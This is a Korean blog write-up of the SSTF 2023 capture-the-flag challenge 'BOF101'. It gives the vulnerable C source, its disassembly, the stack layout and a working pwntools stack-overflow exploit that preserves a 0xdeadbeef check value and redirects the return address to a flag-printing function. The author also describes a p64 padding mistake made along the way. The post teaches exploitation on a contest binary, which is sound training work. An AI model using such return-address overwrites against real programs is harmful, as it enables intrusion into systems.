본문 바로가기

카테고리 없음

[sstf-2023] BOF101

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

void printflag(){
        char buf[32];
        int fd = open("/flag", O_RDONLY);
        read(fd, buf, sizeof(buf));
        close(fd);
        puts(buf);
}

int main() {
        int check=0xdeadbeef;
        char name[140];
        printf("printflag()'s addr: %p\n", &printflag);
        printf("What is your name?\n: ");
        scanf("%s", name);
        if (check != 0xdeadbeef){
                printf("[Warning!] BOF detected!\n");
                exit(0);
        }
        return 0;
}
0x000000000040124a <+0>:     endbr64
   0x000000000040124e <+4>:     push   rbp
   0x000000000040124f <+5>:     mov    rbp,rsp
   0x0000000000401252 <+8>:     sub    rsp,0x90
   0x0000000000401259 <+15>:    mov    DWORD PTR [rbp-0x4],0xdeadbeef
   0x0000000000401260 <+22>:    lea    rsi,[rip+0xffffffffffffff8f]        # 0x4011f6 <printflag>
   0x0000000000401267 <+29>:    lea    rdi,[rip+0xd9c]        # 0x40200a
   0x000000000040126e <+36>:    mov    eax,0x0
   0x0000000000401273 <+41>:    call   0x4010b0 <printf@plt>
   0x0000000000401278 <+46>:    lea    rdi,[rip+0xda3]        # 0x402022
   0x000000000040127f <+53>:    mov    eax,0x0
   0x0000000000401284 <+58>:    call   0x4010b0 <printf@plt>
   0x0000000000401289 <+63>:    lea    rax,[rbp-0x90]
   0x0000000000401290 <+70>:    mov    rsi,rax
   0x0000000000401293 <+73>:    lea    rdi,[rip+0xd9e]        # 0x402038
   0x000000000040129a <+80>:    mov    eax,0x0
   0x000000000040129f <+85>:    call   0x4010f0 <__isoc99_scanf@plt>
   0x00000000004012a4 <+90>:    cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x00000000004012ab <+97>:    je     0x4012c3 <main+121>
   0x00000000004012ad <+99>:    lea    rdi,[rip+0xd87]        # 0x40203b
   0x00000000004012b4 <+106>:   call   0x4010a0 <puts@plt>
   0x00000000004012b9 <+111>:   mov    edi,0x0
   0x00000000004012be <+116>:   call   0x401100 <exit@plt>
   0x00000000004012c3 <+121>:   mov    eax,0x0
   0x00000000004012c8 <+126>:   leave
   0x00000000004012c9 <+127>:   ret

scanf(”%s”)로 name에 입력 받는 부분에서 bof가 일어날 것 같다. 어셈을 보고 스택을 그려 보면 다음과 같다.

플래그를 출력해 주는 printflag 함수를 ret에 넣어 주면 된다. 중간에 check 변수가 바뀌는지 확인하므로 0xdeadbeef만 중간에 잘 넣어 주면 될 것 같다.

따라서 name은 쓰레기 값으로, check는 0xdeadbeef, SFP도 쓰레기 값으로, 마지막으로 RET을 printflag 함수의 주소로 채우면 된다.

이를 그대로 코드로 짜면 다음과 같다.

from pwn import *

p = remote("bof101.sstf.site", 1337)

#gdb.attach(p)

payload = b"A" * 140
payload += b"\xef\xbe\xad\xde"
payload += b"A" * 0x8

p.recvuntil(b": ")
printflag = int(p.recvn(8), 16)
print("printflag: " + str(hex(printflag)))

payload += p64(printflag)
print("payload: " + str(payload))

p.sendline(payload)
p.interactive()

실행 중에 printflag 함수의 주소를 출력해 주므로, 주소만큼 받아서 넣어 주었다.

중간에 분명 논리도 맞고 페이로드도 맞는데 왜 자꾸 틀리나… 많이 삽질했는데

바보같이 0xdeadbeef에 p64를 씌워서 넣고 있었다…

그래서 \xef\xbe\xad\xde\x00\x00\x00\x00 이렇게 들어가면서 RET에 이상한 값이 들어가고 있었다!!!

아오